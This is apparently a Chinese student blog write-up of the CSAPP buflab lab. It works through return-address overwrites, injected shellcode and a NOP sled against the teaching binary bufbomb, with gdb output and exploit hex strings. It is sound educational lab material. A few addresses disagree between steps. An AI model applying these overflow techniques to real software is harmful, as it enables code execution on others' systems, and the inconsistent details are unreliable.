buflab-计算机系统实验

CSAPP Lab3: 缓冲区溢出攻击 逆向工程【缓冲区溢出攻击】 任务描述 掌握函数调用时的栈帧结构,利用输入缓冲区的溢出漏洞,将攻击代码嵌入当前程序的栈帧中,使程序执行我们所期望的过程。 主要方法 溢出的字符将覆盖栈帧上的数据,会覆盖程序调用的返回地址,这赋予了我们控制程序流程的能力。通过构造溢出字符串,程序将“返回”至我们想要的代码上。 实验包括三个可执行文件: —| bufbomb为目标程序 —| makecookie可以生成... 阅读详情

0. 查看cookie

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ ./makecookie 202026010521
0x685c1d96

1.Level0: Candle (10 pts)

Your task is to get BUFBOMB to execute the code forsmoke when getbuf executes its return statement,rather than returning to test.Note that your exploit string may also corrupt parts of the stack notdirectlyrelated to this stage, but this will not cause a problem, since smokecauses the program to exit directly.

题意解析:这里就是要让test运行完后,不直接返回退出。而是跳到smoke函数处,继续运行,而当smoke运行完毕后,才退出。

源码:

#define NORMAL_BUFFER_SIZE 32
void test()
{
    int val;
    /* Put canary on stack to detect possiblecorruption */
    volatile int local = uniqueval();
    val = getbuf();
    /* Check for corruption stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has beencorrupted\n");
    }
    else if (val == cookie)
    {
        printf("Boom!: getbuf returned0x%x\n", val);
        validate(3);
    }
    else
    {
        printf("Dud: getbuf returned0x%x\n", val);
    }
}
int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}
//Smoke源码:
void smoke()
{
    puts("Smoke!: You calledsmoke()");
    validate(0);
    exit(0);
}

解题思路

在这里插入图片描述

Gets()函数用来获取数据到缓冲区,而Gets()函数不会对输入的数据进行边界检查。所以当我们的输入超过了缓冲区的大小(这里是32)时,超过缓冲区的数据就会覆盖内存中用作其它用途的数据,从而改变程序的行为。

要运行smoke()函数,只需要将buf区的内容冲到返回地址即可,这样原本应该返回到test()函数的地址被修改为了smoke()函数的地址

查看getbuf()汇编

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ gdb -q bufbomb
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
   0x08049262 <+0>:	push   %ebp
   0x08049263 <+1>:	mov    %esp,%ebp
   0x08049265 <+3>:	sub    $0x38,%esp
   0x08049268 <+6>:	lea    -0x28(%ebp),%eax
   0x0804926b <+9>:	mov    %eax,(%esp)
   0x0804926e <+12>:	call   0x8048c32 <Gets>
   0x08049273 <+17>:	mov    $0x1,%eax
   0x08049278 <+22>:	leave  
   0x08049279 <+23>:	ret    
End of assembler dump.

发现buf缓冲区大小为0x28,加上ebp所指空间,则到达返回地址空间,故答案中的前44个字节可以任意填写(由于Gets是通过换行符\n(ASCII值0x0a)界定输入终止的,所以前44字节只要不是0a就可以),最后四个字节填写smoke()函数的地址

查看smoke()函数的地址

(gdb) disassemble smoke 
Dump of assembler code for function smoke:
   0x08048e0a <+0>:	push   %ebp
   0x08048e0b <+1>:	mov    %esp,%ebp
   0x08048e0d <+3>:	sub    $0x18,%esp
   0x08048e10 <+6>:	movl   $0x804a2fe,0x4(%esp)
   0x08048e18 <+14>:	movl   $0x1,(%esp)
   0x08048e1f <+21>:	call   0x8048990 <__printf_chk@plt>
   0x08048e24 <+26>:	movl   $0x0,(%esp)
   0x08048e2b <+33>:	call   0x8049280 <validate>
   0x08048e30 <+38>:	movl   $0x0,(%esp)
   0x08048e37 <+45>:	call   0x80488d0 <exit@plt>
End of assembler dump.

地址为0x08048e0a,可以看到地址中有0a,查阅资料可知0a对应的ASCII码为换行符,写入会出错。可以看到smoke()最后有调用一个exit()函数,即直接退出程序,不再返回到原函数,所以smoke()函数的第一条汇编码可以忽略(此汇编码表示存储test()函数栈底esp的地址),所以我们选择0x08048e0b

答案及结果
./0.txt
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13
0b 8e 04 08

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ ./hex2raw < 0.txt | ./bufbomb -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96
Type string:Smoke!: You called smoke()
VALID
NICE JOB!

2.Level1: Sparkler (10 pts)

Similar to Level 0, your task isto get BUFBOMB to execute the code for fizz rather than returningto test. In this case, however, you must make it appear to fizz as if you havepassed your cookie as its argument. How can you do this?

题意解析:

在level 0的基础上,使getbuf函数的返回指向fizz函数,同时将fizz函数的参数置为userid对应的cookie值。

解题思路

fizz()函数源码

void fizz(int val) {
 if (val == cookie) {
    printf("Fizz!: You calledfizz(0x%x)\n", val);
    validate(1);
 }
 else
    printf("Misfire: You calledfizz(0x%x)\n", val);
 
 exit(0);
}

在这里插入图片描述

查看fizz()函数的汇编

(gdb) disassemble fizz 
Dump of assembler code for function fizz:
   0x08048daf <+0>:	push   %ebp
   0x08048db0 <+1>:	mov    %esp,%ebp
   0x08048db2 <+3>:	sub    $0x18,%esp
   0x08048db5 <+6>:	mov    0x8(%ebp),%eax
   0x08048db8 <+9>:	cmp    0x804d104,%eax
   0x08048dbe <+15>:	jne    0x8048de6 <fizz+55>
   0x08048dc0 <+17>:	mov    %eax,0x8(%esp)
   0x08048dc4 <+21>:	movl   $0x804a2e0,0x4(%esp)
   0x08048dcc <+29>:	movl   $0x1,(%esp)
   0x08048dd3 <+36>:	call   0x8048990 <__printf_chk@plt>
   0x08048dd8 <+41>:	movl   $0x1,(%esp)
   0x08048ddf <+48>:	call   0x8049280 <validate>
   0x08048de4 <+53>:	jmp    0x8048dfe <fizz+79>
   0x08048de6 <+55>:	mov    %eax,0x8(%esp)
   0x08048dea <+59>:	movl   $0x804a4d4,0x4(%esp)
   0x08048df2 <+67>:	movl   $0x1,(%esp)
   0x08048df9 <+74>:	call   0x8048990 <__printf_chk@plt>
   0x08048dfe <+79>:	movl   $0x0,(%esp)
   0x08048e05 <+86>:	call   0x80488d0 <exit@plt>
End of assembler dump.

0x08048dc0 <+17>:	mov    %eax,0x8(%esp)

这一步就是在取参数,正好取的就是第二个参数区的位置

在getbuf()的返回地址中存入fizz()函数的地址,返回地址上面的那个函数参数区存fizz()函数的返回地址,但由于fizz()函数根本不会返回,所以可以随意存,最上面的函数参数区存要传入的cookie参数

答案及结果

./1.txt
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13
af 8d 04 08 //fizz()函数的地址
11 11 11 11	//fizz()函数的返回地址
96 1d 5c 68 //cookie参数

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ ./hex2raw < 1.txt | ./bufbomb -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96
Type string:Fizz!: You called fizz(0x685c1d96)
VALID
NICE JOB!

3.Level2: Firecracker (15 pts)

Similar to Levels0 and 1, your task is to get BUFBOMB to execute the code for bang rather than returningto test. Before this, however, you must set global variable global_value toyour userid’s cookie. Your exploit code should set global_value, push theaddress of bang on the stack, and then execute a ret instruction to cause ajump to the code for bang.

题意解析:

令getbuf调用后不执行test函数,而是执行bang函数(默认会执行test函数),但是同时我们要修改global_value的值为cookie值。然而,global_value是一个全局变量,它没有储存再栈里面。所以在程序执行过程中,只能通过赋值语句来改变global_value的值。即这次我们不仅要让函数跳到bang中,而且要模拟一个函数调用来进行赋值。

解题思路

bang()函数源码

int global_value =0;
void bang(int val)
{
if (global_value ==cookie) {
printf("Bang!:You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire:global_value = 0x%x\n", global_value);
exit(0);
}

在这里插入图片描述

先假设我们已经有段攻击代码可以更改global_value的值,我们应该把这段攻击代码放在哪里?

答案是buf缓冲区,这里有很大一部分空间可以用来存放我们的攻击代码,返回地址存buf缓冲区的首地址,这样getbuf() return的时候会跑到buf缓冲区里面去,我们只需要将攻击代码加上一个返回指令,让代码执行结束后返回到bang()函数的位置,让程序继续运行bang()函数就ok

攻击代码需要实现的功能:

1.更改global_val的值为cookie
2.将bang()函数的地址作为返回地址压栈

查看bang()函数的汇编码

(gdb) disassemble bang 
Dump of assembler code for function bang:
   0x08048d52 <+0>:	push   %ebp
   0x08048d53 <+1>:	mov    %esp,%ebp
   0x08048d55 <+3>:	sub    $0x18,%esp
   0x08048d58 <+6>:	mov    0x804d10c,%eax
   0x08048d5d <+11>:	cmp    0x804d104,%eax
   0x08048d63 <+17>:	jne    0x8048d8b <bang+57>
   0x08048d65 <+19>:	mov    %eax,0x8(%esp)
   0x08048d69 <+23>:	movl   $0x804a4ac,0x4(%esp)
   0x08048d71 <+31>:	movl   $0x1,(%esp)
   0x08048d78 <+38>:	call   0x8048990 <__printf_chk@plt>
   0x08048d7d <+43>:	movl   $0x2,(%esp)
   0x08048d84 <+50>:	call   0x8049280 <validate>
   0x08048d89 <+55>:	jmp    0x8048da3 <bang+81>
   0x08048d8b <+57>:	mov    %eax,0x8(%esp)
   0x08048d8f <+61>:	movl   $0x804a2c2,0x4(%esp)
   0x08048d97 <+69>:	movl   $0x1,(%esp)
   0x08048d9e <+76>:	call   0x8048990 <__printf_chk@plt>
   0x08048da3 <+81>:	movl   $0x0,(%esp)
   0x08048daa <+88>:	call   0x80488d0 <exit@plt>
End of assembler dump.

得到bang()函数的首地址为0x08048d52

   0x08048d58 <+6>:	mov    0x804d10c,%eax
   0x08048d5d <+11>:	cmp    0x804d104,%eax

这两段代码可以看出global_val的地址为0x804d10c,0x804d104存放的是cookie的值

故攻击代码如下

movl $0x685c1d96,%eax  //将cookie值存入eax寄存器
movl %eax,0x804d104 //将eax中的(cookie)值存入global_value的地址
pushl $0x08048d52  //将bang作为返回地址压栈 
ret

将其保存为2.s文件

接下来将汇编代码(2.s)转化成二进制文件(2.o),并用objdump -d 命令查看

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ as 2.s -o 2.o
lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ objdump -d 2.o

2.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 96 1d 5c 68       	mov    $0x685c1d96,%eax
   5:	a3 0c d1 04 08       	mov    %eax,0x804d10c
   a:	68 52 8d 04 08       	push   $0x8048d52
   f:	c3                   	ret    

得到有效攻击代码

b8 96 1d 5c 68
a3 0c d1 04 08
68 52 8d 04 08
c3 

最后,查看buf缓冲区的首地址

查看getbuf()汇编

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ gdb -q bufbomb
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
   0x08049262 <+0>:	push   %ebp
   0x08049263 <+1>:	mov    %esp,%ebp
   0x08049265 <+3>:	sub    $0x38,%esp
   0x08049268 <+6>:	lea    -0x28(%ebp),%eax
   0x0804926b <+9>:	mov    %eax,(%esp)
   0x0804926e <+12>:	call   0x8048c32 <Gets>
   0x08049273 <+17>:	mov    $0x1,%eax
   0x08049278 <+22>:	leave  
   0x08049279 <+23>:	ret    
End of assembler dump.

   0x08049268 <+6>:	lea    -0x28(%ebp),%eax
   0x0804926b <+9>:	mov    %eax,(%esp)

gdb调试,设置断点在0x0804926b,并查看寄存器eax即可得知buf首地址

(gdb) b *0x0804926b
Breakpoint 1 at 0x804926b
(gdb) r -u 202026010521
Starting program: /home/lkl/桌面/计算机系统/buflab-handout/bufbomb -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96

Breakpoint 1, 0x0804926b in getbuf ()
(gdb) p/x $eax
$1 = 0x55683848

buf首地址为0x55683848

答案及结果
./2.txt
b8 96 1d 5c 68
a3 0c d1 04 08
68 52 8d 04 08
c3 //攻击代码
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 //填充代码
48 38 68 55 //buff首地址

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ ./hex2raw < 2.txt | ./bufbomb -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96
Type string:Bang!: You set global_value to 0x685c1d96
VALID
NICE JOB!

4.Level 3: Dynamite (20 pts)

Your job for thislevel is to supply an exploit string that will cause getbuf to return yourcookie back to test, rather than the value 1. You can see in the code for testthat this will cause the program to go“Boom!.” Your exploit code should set your cookie asthe return value, restore any corrupted state, push the correct return locationon the stack, and execute a ret instruction to really return to test.

题意解析:

这次要求getbuf调用后,返回到test当中,但是不能破坏为test函数维护的堆栈状态(test函数加了堆栈状态检测),同时要让test函数调用getbuf后的返回值(val)为自己的cookie。

test,getbuf源码

#define NORMAL_BUFFER_SIZE 32
void test()
{
    int val;
    /* Put canary on stack to detect possiblecorruption */
    volatile int local = uniqueval();
    val = getbuf();
    /* Check for corruption stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has beencorrupted\n");
    }
    else if (val == cookie)
    {
        printf("Boom!: getbuf returned0x%x\n", val);
        validate(3);
    }
    else
    {
        printf("Dud: getbuf returned0x%x\n", val);
    }
}
int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}

查看getbuf(),test()汇编

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ gdb -q bufbomb
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
   0x08049262 <+0>:	push   %ebp
   0x08049263 <+1>:	mov    %esp,%ebp
   0x08049265 <+3>:	sub    $0x38,%esp
   0x08049268 <+6>:	lea    -0x28(%ebp),%eax
   0x0804926b <+9>:	mov    %eax,(%esp)
   0x0804926e <+12>:	call   0x8048c32 <Gets>
   0x08049273 <+17>:	mov    $0x1,%eax
   0x08049278 <+22>:	leave  
   0x08049279 <+23>:	ret    
End of assembler dump.

(gdb) disassemble test
Dump of assembler code for function test:
   0x08048e3c <+0>:	push   %ebp
   0x08048e3d <+1>:	mov    %esp,%ebp
   0x08048e3f <+3>:	push   %ebx
   0x08048e40 <+4>:	sub    $0x24,%esp
   0x08048e43 <+7>:	call   0x8048c18 <uniqueval>
   0x08048e48 <+12>:	mov    %eax,-0xc(%ebp)
   0x08048e4b <+15>:	call   0x8049262 <getbuf>
   0x08048e50 <+20>:	mov    %eax,%ebx
   0x08048e52 <+22>:	call   0x8048c18 <uniqueval>
   0x08048e57 <+27>:	mov    -0xc(%ebp),%edx
   0x08048e5a <+30>:	cmp    %edx,%eax
   0x08048e5c <+32>:	je     0x8048e74 <test+56>
   0x08048e5e <+34>:	movl   $0x804a460,0x4(%esp)
   0x08048e66 <+42>:	movl   $0x1,(%esp)
   0x08048e6d <+49>:	call   0x8048990 <__printf_chk@plt>
   0x08048e72 <+54>:	jmp    0x8048eba <test+126>
   0x08048e74 <+56>:	cmp    0x804d104,%ebx
   0x08048e7a <+62>:	jne    0x8048ea2 <test+102>
   0x08048e7c <+64>:	mov    %ebx,0x8(%esp)
   0x08048e80 <+68>:	movl   $0x804a31a,0x4(%esp)
   0x08048e88 <+76>:	movl   $0x1,(%esp)
   0x08048e8f <+83>:	call   0x8048990 <__printf_chk@plt>

解题思路

在这里插入图片描述

由于此题开始要求回到test()函数,并且函数的栈空间不能被破坏,也就是test() 的ebp地址被冲掉之后还得给它存回去,那么在buf缓冲区的对应位置存回test() 的esp地址即可,返回地址依然存buf缓冲区的首地址,植入攻击代码,攻击代码的内容为:修改返回值即eax的值为cookie并重新回到test() 函数

上一题已经得知buf首地址为0x55683848,接下来要知道test() esp 的值

gdb设置断点在getbuf()函数(见上面的汇编码)中的

   0x08048e3c <+0>:	push   %ebp
   0x08048e3d <+1>:	mov    %esp,%ebp

0x08048e3d这个位置,此时test()的ebp地址已经被压入栈中,然后查看ebp所存的值

(gdb) b *0x08049263
Breakpoint 4 at 0x8049263
(gdb) r -u 202026010521
Starting program: /home/lkl/桌面/计算机系统/buflab-handout/bufbomb -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96

Breakpoint 4, 0x08049263 in getbuf ()
(gdb) p/x $ebp
$4 = 0x556838a0

得到test()ebp地址的值为0x556838a0

接下来编写攻击代码,即将eax的值改为cookie,并且将程序返回到test()函数中,即test()函数调用getbuf()的下一条指令的位置

   0x08048e4b <+15>:	call   0x8049262 <getbuf>
   0x08048e50 <+20>:	mov    %eax,%ebx

0x08048e50

故攻击代码编写如下

movl $0x685c1d96,%eax  ;返回cookie值
pushl $0x08048e50        ;返回地址指向test中的getbuf调用后一条指令
ret                     ;返回test继续执行

重复上一关的操作得到有效攻击代码

b8 96 1d 5c 68
68 50 8e 04 08
c3

答案及结果

./3.txt
b8 96 1d 5c 68
68 50 8e 04 08
c3 //攻击代码
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
a0 38 68 55 //test()函数的ebp栈底地址
48 38 68 55 //buf缓冲区首地址

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ ./hex2raw < 3.txt | ./bufbomb -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96
Type string:Boom!: getbuf returned 0x685c1d96
VALID
NICE JOB!

5.Level4: Nitroglycerin (10 pts)

For this level, we have gone theopposite direction, making the stack positions even less stable than they normallyare. Hence the name “nitroglycerin”—an explosive that is notoriouslyunstable.When you run BUFBOMB with the command line flag “-n,” it will run in“Nitro” mode. Rather than calling the function getbuf, the program calls aslightly different function getbufn:

题意解析:

最后一关的要求和上一关一致,不过需要加上-n参数运行bufbomb,此时会进入testn和getbufn函数而不是test和getbuf函数。

testn(),getbufn()源码

#define KABOOM_BUFFER_SIZE 512
void testn()
{
    int val;
    volatile int local = uniqueval();
    val = getbufn();
    /* Check for corrupted stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie)
    {
        printf("KABOOM!: getbufn returned 0x%x\n", val);
        validate(4);
    }
    else
    {
        printf("Dud: getbufn returned 0x%x\n", val);
    }
}
int getbufn()
{
    char buf[KABOOM_BUFFER_SIZE];
    Gets(buf);
    return 1;
}
解题思路

与3不同的是,这关会连续执行5次,且每一次test()函数的ebp地址会改变,然后buf缓冲区的大小变成了512,buf缓冲区的首地址在每次运行的时候也各不相同

看起来好像有点棘手,但实际上总空间大小是不变的进入buf缓冲区,还是顶掉返回地址,将返回地址设置成buf缓冲区的首地址,或者,buf缓冲区中间的某一个位置(因为buf缓冲区的首地址不确定了),然后让其一直执行,直到缓冲区末尾,然后我们将攻击代码放置在某位,这样,就算每次开始执行的位置不同,最后也都能执行到攻击代码的位置。那么怎么使程序持续执行到缓冲区末尾呢?

nop指令可以帮我们做到这一点,其编码为0x90,所以我们将缓冲区的前面很长一部分都用0x90来填充,末尾部分填充攻击代码,这样就能达到要求了

攻击代码的功能和上一关是一样的,这里就不细说了,只是有一点,testn()函数的ebp地址不再固定,所以我们只能通过esp即栈顶指针加上testn()函数的空间大小来确定ebp的地址

查看testn()和getbufn()的汇编码

Dump of assembler code for function testn:
   0x08048cce <+0>:	push   %ebp
   0x08048ccf <+1>:	mov    %esp,%ebp
   0x08048cd1 <+3>:	push   %ebx
   0x08048cd2 <+4>:	sub    $0x24,%esp
   0x08048cd5 <+7>:	call   0x8048c18 <uniqueval>
   0x08048cda <+12>:	mov    %eax,-0xc(%ebp)
   0x08048cdd <+15>:	call   0x8049244 <getbufn>
   0x08048ce2 <+20>:	mov    %eax,%ebx
   0x08048ce4 <+22>:	call   0x8048c18 <uniqueval>
   0x08048ce9 <+27>:	mov    -0xc(%ebp),%edx
   0x08048cec <+30>:	cmp    %edx,%eax
   0x08048cee <+32>:	je     0x8048d06 <testn+56>
   0x08048cf0 <+34>:	movl   $0x804a460,0x4(%esp)
   0x08048cf8 <+42>:	movl   $0x1,(%esp)
   0x08048cff <+49>:	call   0x8048990 <__printf_chk@plt>
   0x08048d04 <+54>:	jmp    0x8048d4c <testn+126>
   0x08048d06 <+56>:	cmp    0x804d104,%ebx
   0x08048d0c <+62>:	jne    0x8048d34 <testn+102>
   0x08048d0e <+64>:	mov    %ebx,0x8(%esp)
   0x08048d12 <+68>:	movl   $0x804a48c,0x4(%esp)
   0x08048d1a <+76>:	movl   $0x1,(%esp)
   0x08048d21 <+83>:	call   0x8048990 <__printf_chk@plt>

Dump of assembler code for function getbufn:
   0x08049244 <+0>:	push   %ebp
   0x08049245 <+1>:	mov    %esp,%ebp
   0x08049247 <+3>:	sub    $0x218,%esp
   0x0804924d <+9>:	lea    -0x208(%ebp),%eax
   0x08049253 <+15>:	mov    %eax,(%esp)
   0x08049256 <+18>:	call   0x8048c32 <Gets>
   0x0804925b <+23>:	mov    $0x1,%eax
   0x08049260 <+28>:	leave  
   0x08049261 <+29>:	ret   
   0x08048cce <+0>:	push   %ebp
   0x08048ccf <+1>:	mov    %esp,%ebp
   0x08048cd1 <+3>:	push   %ebx
   0x08048cd2 <+4>:	sub    $0x24,%esp

这个地方我是存有疑惑的,因为我觉得ebp应该是esp+24得到,但实际上是esp+28,不太明白是怎么回事,看网上其他人的博客,这里也一笔带过了

   0x0804924d <+9>:	lea    -0x208(%ebp),%eax

这里可以知道缓冲区有520个字节加上ebp所占空间有524个字节,最后四个字节即return地址,填写buf缓冲区的地址

先搞攻击代码,和上一关类似,就ebp地址的获取方式不同

mov $0x685c1d96,%eax ;将cookie传入
lea 0x28(%esp),%ebp	;获取ebp地址
push $0x08048ce2 ;返回到test()函数
ret

得到有效攻击代码

b8 96 1d 5c 68
8d 6c 24 28
68 e2 8c 04 08
c3

接下来是找最大的buf缓冲区首地址,这样即使每次buf缓冲区首地址不同也能够通过nop到达缓冲区末尾的攻击代码

断点设在0x08049253,查看eax即是buf首地址

   0x0804924d <+9>:	lea    -0x208(%ebp),%eax
   0x08049253 <+15>:	mov    %eax,(%esp)
(gdb) b *0x08049253
Breakpoint 1 at 0x8049253
(gdb) r -n -u 202026010521
Starting program: /home/lkl/桌面/计算机系统/buflab-handout/bufbomb -n -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96

Breakpoint 1, 0x08049253 in getbufn ()
(gdb) p/x $eax
$1 = 0x55683668
(gdb) c
Continuing.
Type string: 
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049253 in getbufn ()
(gdb) p/x $eax
$2 = 0x55683698
(gdb) c
Continuing.
Type string: 
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049253 in getbufn ()
(gdb) p/x $eax
$3 = 0x55683678
(gdb) c
Continuing.
Type string: 
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049253 in getbufn ()
(gdb) p/x $eax
$4 = 0x55683688
(gdb) c
Continuing.
Type string:                    
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049253 in getbufn ()
(gdb) p/x $eax
$5 = 0x55683688
(gdb) c
Continuing.
Type string: 
Dud: getbufn returned 0x1
Better luck next time

得到5个地址

$1 = 0x55683668
$2 = 0x55683698
$3 = 0x55683678
$4 = 0x55683688
$5 = 0x55683688

将最大地址0x55683698作为目标地址即可

答案及结果
./4.txt
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 //509个字节
b8 96 1d 5c 68
8d 6c 24 28
68 e2 8c 04 08
c3 //攻击代码15个字节,共524个字节
98 36 68 55 //buf目标地址

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ ./hex2raw -n < 4.txt | ./bufbomb -n -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96
Type string:KABOOM!: getbufn returned 0x685c1d96
Keep going
Type string:KABOOM!: getbufn returned 0x685c1d96
Keep going
Type string:KABOOM!: getbufn returned 0x685c1d96
Keep going
Type string:KABOOM!: getbufn returned 0x685c1d96
Keep going
Type string:KABOOM!: getbufn returned 0x685c1d96
VALID
NICE JOB!

完结撒花 _(:3」∠❀)__菊花碎了一地
在这里插入图片描述

计算机系统实验三——buflab(缓冲区实验) 实验题目 buflab 实验目的 通过本次实验熟悉IA-32调用约定和堆栈组织。 学习缓冲区溢出攻击原理,对实验室目录中的一个可执行文件应用一系列的缓冲区溢出攻击。 通过实验获得使用通常用于利用操作系统和网络服务器中的安全弱点的常用方法之一的第一手经验。 了解程序的运行时操作,并了解这种形式的安全弱点的本质,以便在编写系统代码时可以避免它。 实验环境 个人PC、Linux 32位操作系统、Ubuntu16.04 实验内容 准备阶段 在linux系统中将实验压缩包解压并找到实验所用到的实验文件夹buf 阅读详情

相关推荐

CSAPP LAB---buflab-handout(缓冲区溢出实验)

LAB5 基础准备: 题目解析: 首先阅读那长达11页的英文文档,获悉本实验为模拟缓冲区溢出。 使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw,makecookie。 bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符串。要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。getbuf函数如下所示:

The_V_的博客 2万+

运行检查失败,某变量周围的堆栈已损坏 Stack overflow The stack is corrupted

运行便得到了我们想要的结果。

weixin_74011433的博客 3144

csapp lab3 bufbomb 缓存区溢出攻击 《深入理解计算机系统》

这个实验主要是熟悉栈,和了解数据缓存区溢出的问题。 数据缓存区溢出:程序每次调用函数时,会把当前的eip指针保存在栈里面,作为被调用函数返回时的程序指针。在被调用程序里面,栈是向下增长的。所有局部变量都存储在栈里面(静态局部变量除外)。假设有一个字符串变量str,在str读取数据时,如果缓存区没有进行一定的保护,会造成缓存区的溢出。由于栈是向下增长的,但是对于一个变量,如str,他的数据存储顺序

fang92的专栏 5299

计算机系统Buflab实验报告

这条指令表明,在testn()调用getbuf()之前除了保存旧的%ebp,还进行了一次压栈和开辟0x24个空间,所以%ebp=%esp+0x28。lea -0x28(%ebp),%eax这条指令表明getbuf()函数中开辟栈空间。所以下面得到的eax中的值是Get()函数存放数据的首地址,就是我们想让程序读到机器码,所以我们将返回地址用0x55683528覆盖。这里我们看到gutbufn()在调用Get()函数之前开辟了0x208个地址空间。与level3一样的方法寻找Get()函数的首地址。

shyywt的博客 689

CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(1)

由于实验太长所以还是采用分开 其实感觉之前做过那个bomb实验以后,这个实验相对来说还是很容易的,主要是要搞懂缓冲区溢出原理,以及堆栈的过程,函数调用的实现过程,做完这个实验如果认认真真的做完,对于堆栈的过程,还有缓存溢出攻击的原理就会掌握的比较清楚的。个人感觉实验设计的还是非常的好的,非常值得做一做。做这个实验首先是要建立在bomb实验和对函数调用栈过程的基础上,如果你觉得你理解起来有困难

syq1207的博客 1万+

CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(4)

level2 Level2是更进了一步,也是不返回到test,而是去执行函数bang,但是区别是bang也要传入参数,但是参数是是一个全局变量,这里就是不同于level1那样在栈上覆盖了,因为全局变量要去内存地址中修改了,但是又不能调用个一个可以修改全局变量的函数,这里就只能利用我们的exploit代码了,让我们的exploit代码具有执行这些功能的函数,那么怎么执行起来呢,那就是把区别与之前是

syq1207的博客 8676

计算机系统实验之buflab

,

核小体的博客 4592

CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(3)

Level1 Level1是和level0一样调用完getbuf以后我们不返回getbuf的调用者test而是去执行fizz函数,区别就是这个fizz函数要求我们传入参数,而且传入的参数必须是我们的cookie。所以在level0的方法我们轻松的知道了如何去执行fizz,就是用fizz函数的入口地址去覆盖返回地址,这里的关键就是找到fizz函数的参数从栈中的什么地方传入的,然后我们把我们的coo

syq1207的博客 7189

HNU计算机系统实验四 BufLab

